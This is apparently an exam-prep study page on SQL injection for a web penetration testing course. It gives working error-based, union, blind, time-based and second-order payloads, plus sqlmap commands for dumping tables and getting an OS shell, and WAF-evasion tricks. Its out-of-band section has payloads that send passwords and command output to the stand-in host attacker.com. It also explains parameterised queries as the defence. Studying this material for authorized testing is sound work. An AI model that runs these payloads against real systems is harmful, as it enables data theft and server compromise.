In-band, blind, out-of-band, and second-order SQLi. SQLMap mastery, WAF bypass, and database-specific syntax for MySQL, MSSQL, PostgreSQL, and Oracle.
| # | Objective | This Page |
|---|---|---|
| 1 | Web Application Overview | โ |
| 2 | Reconnaissance and Mapping | โ |
| 3 | Web Application Configuration Testing | โ |
| 4 | Web Application Authentication Attacks | โ |
| 5 | Web Application Session Management | โ |
| โ 6 | Web Application SQL Injection Attacks | โ You are here |
| 7 | Cross-Site Request Forgery, XSS & Client Injection Attacks | โ |
| 8 | Web Application Testing Tools | โ |
SQL injection (SQLi) occurs when user-supplied input is incorporated into a SQL query without proper sanitization, allowing an attacker to modify the query's logic. It can lead to: authentication bypass, data exfiltration, data modification, database OS access, and complete system compromise.
Root cause: String concatenation of user input into SQL queries:
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
Input admin'-- transforms to:
SELECT * FROM users WHERE username='admin'--' AND password='...' โ Comments out the password check entirely
Initial Test Payloads:
' โ syntax error ("You have an error in your SQL syntax")" โ same effect in some DBs--, # (MySQL), /**/' OR '1'='1, ' OR 1=1--' AND 1=2-- โ should return no results if vulnerable'; SLEEP(5)-- (MySQL), '; WAITFOR DELAY '0:0:5'-- (MSSQL)Where to Inject:
?id=1', form fieldsUser-Agent, Referer, X-Forwarded-For, Cookie valuesExtract data through database error messages. The error message itself contains the extracted data.
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) -- โ Error: XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT database())), 1) --
' AND 1=CONVERT(int, (SELECT @@version)) -- โ Conversion error embeds version string in message
Append attacker-controlled SELECT to original query. Results are returned in the same HTTP response. Must match column count and compatible types.
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- (increment until error) ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- (add NULLs until success)
' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL--
' UNION SELECT username,password,NULL FROM users-- ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT concat(username,':',password),NULL FROM users-- -- MySQL ' UNION SELECT username||':'||password,NULL FROM users-- -- Oracle/PostgreSQL ' UNION SELECT username+':'+password,NULL FROM users-- -- MSSQL
No output visible. Different application responses (content, length, status) for TRUE vs FALSE conditions allow extracting data one character at a time.
?id=1' AND 1=1-- โ normal page (TRUE) ?id=1' AND 1=2-- โ empty/error (FALSE)
?id=1' AND SUBSTRING((SELECT database()),1,1)='a'-- โ TRUE = first char is 'a' ?id=1' AND ASCII(SUBSTRING((SELECT database()),1,1))>97-- โ binary search on ASCII
username: admin'-- password: anything โ SELECT * FROM users WHERE username='admin'--' AND password='...' โ Password check commented out โ logged in as admin
No visible response difference. Data is inferred from response time delay. Useful when application always returns the same page regardless of query result.
?id=1' AND SLEEP(5)-- ?id=1' AND IF(1=1, SLEEP(5), 0)-- ?id=1' AND IF(SUBSTRING((SELECT database()),1,1)='d', SLEEP(5), 0)--
?id=1'; WAITFOR DELAY '0:0:5'-- ?id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--
?id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
?id=1' AND 1=1 AND (SELECT COUNT(*) FROM all_objects,all_objects,all_objects)>0--
Data exfiltrated over a different channel (DNS, HTTP) when in-band methods are blocked. Requires outbound connectivity from the DB server.
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))--
โ DNS lookup for <password>.attacker.com captured in DNS logs
'; EXEC xp_cmdshell('powershell -c "Invoke-WebRequest -Uri http://attacker.com/?data=$(whoami)"')--
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)) FROM dual) IS NOT NULL--
Malicious payload stored in the database, then executed later when retrieved and used unsafely in another query โ without re-sanitization.
1. Register username: admin'--
2. App escapes on INSERT: INSERT INTO users (username) VALUES ('admin''--') โ stored safely
3. Profile update query: UPDATE users SET email='...' WHERE username='admin'--'
โ The stored value is used without re-escaping โ SQL injection executes
sqlmap -u "http://target.com/page?id=1" --dbs # enumerate databases sqlmap -u "http://target.com/page?id=1" -D dbname --tables # enumerate tables sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # dump table sqlmap -u "http://target.com/page?id=1" --os-shell # OS command shell
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user
sqlmap -r request.txt --level=5 --risk=3
| Flag | Values | Purpose |
|---|---|---|
--level | 1โ5 | Test depth/coverage (5 = most thorough, tests headers, cookies) |
--risk | 1โ3 | Risk of damaging DB (3 = most aggressive, includes UPDATE/DELETE payloads) |
--technique | BEUSTQ | Blind, Error, Union, Stacked, Time, Query โ specify which to use |
--dbms | mysql, mssqlโฆ | Specify DB type to speed up testing |
--batch | โ | Auto-confirm all prompts (non-interactive mode) |
--random-agent | โ | Randomize User-Agent header |
--tamper | script name | Apply WAF bypass transformations (e.g., space2comment, randomcase) |
-p | param name | Test only the specified parameter |
| Feature | MySQL | MSSQL | PostgreSQL | Oracle |
|---|---|---|---|---|
| Comment | --, #, /**/ | --, /**/ | --, /**/ | --, /**/ |
| Version | @@version | @@version | version() | v$version |
| Current DB | database() | DB_NAME() | current_database() | ora_database_name |
| String concat | concat(a,b) or a||b | a+b | a||b | a||b |
| Substring | SUBSTRING(s,1,1) | SUBSTRING(s,1,1) | SUBSTRING(s,1,1) | SUBSTR(s,1,1) |
| Sleep/delay | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) | Heavy query |
| System tables | information_schema.tables | sysobjects | information_schema.tables | all_tables |
| Columns table | information_schema.columns | syscolumns | information_schema.columns | all_tab_columns |
| OS execution | UDF | xp_cmdshell | COPY TO/FROM | UTL_FILE |
SeLeCt, uNiOnUN/**/ION SEL/**/ECT, /*!UNION*/ (MySQL version-specific)%27 for ', %20 for space, %2527 double-encoded '%09), newlines (%0a), /**/, +CHAR(65) for 'A', 0x61 for 'a' (hex literal)MID() for SUBSTRING(), IFNULL() for COALESCE()--tamper=space2comment, --tamper=randomcase, --tamper=betweenSELECT * FROM users WHERE id = ? โ user input is never part of the query structure, only a parameter value', ", ;, --cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) # safe
cursor.execute("SELECT * FROM users WHERE id = " + user_id) # vulnerable
SLEEP(5), MSSQL uses WAITFOR DELAY '0:0:5', PostgreSQL uses pg_sleep(5). Oracle has no sleep โ use a heavy cross-join query.
information_schema.tables lists every table. information_schema.columns lists every column. Present in MySQL, MSSQL, and PostgreSQL. Oracle uses all_tables and all_tab_columns instead. When in doubt, start here for enumeration.
UN/**/ION SEL/**/ECT. WAF regex matches "UNION SELECT" literally โ but the DB executes it anyway because comments are whitespace to the parser. Combine with case variation for extra evasion.
--level=5 --risk=3 for maximum coverage on authorized assessments.
-u URL --dbs โ -D db --tables โ -D db -T table --dump. Time yourself โ 3 hours goes fast with 82 questions plus live labs.information_schema.tables is a system metadata view available in MySQL, MSSQL, and PostgreSQL. It contains: TABLE_NAME, TABLE_SCHEMA, TABLE_TYPE, etc.SELECT table_name FROM information_schema.tables WHERE table_schema=database() to enumerate all tables in the current DB. Oracle equivalent: all_tables.' ORDER BY 1--, ' ORDER BY 2--โฆ increment until an error. The last successful number = column count.' UNION SELECT NULL--, ' UNION SELECT NULL,NULL--โฆ add NULLs until success (no error). NULLs are type-compatible with any column.UN/**/ION SEL/**/ECT โ splits keyword that WAF regex matches./*!UNION*/ โ MySQL executes code inside /*!...*/, WAF may not.%09 (tab), %0a (newline), or + โ WAF may only check for literal spaces.SELECT * FROM users WHERE id = ?. User input is then passed as a parameter โ it is never interpreted as SQL syntax, only as a data value.', --, UNION) the input contains, they cannot modify the query structure. This is the only complete defense.IF(condition, SLEEP(5), 0) โ this is how you extract data via time-based blindsqlmap -r request.txt โ this is realistic exam lab workflow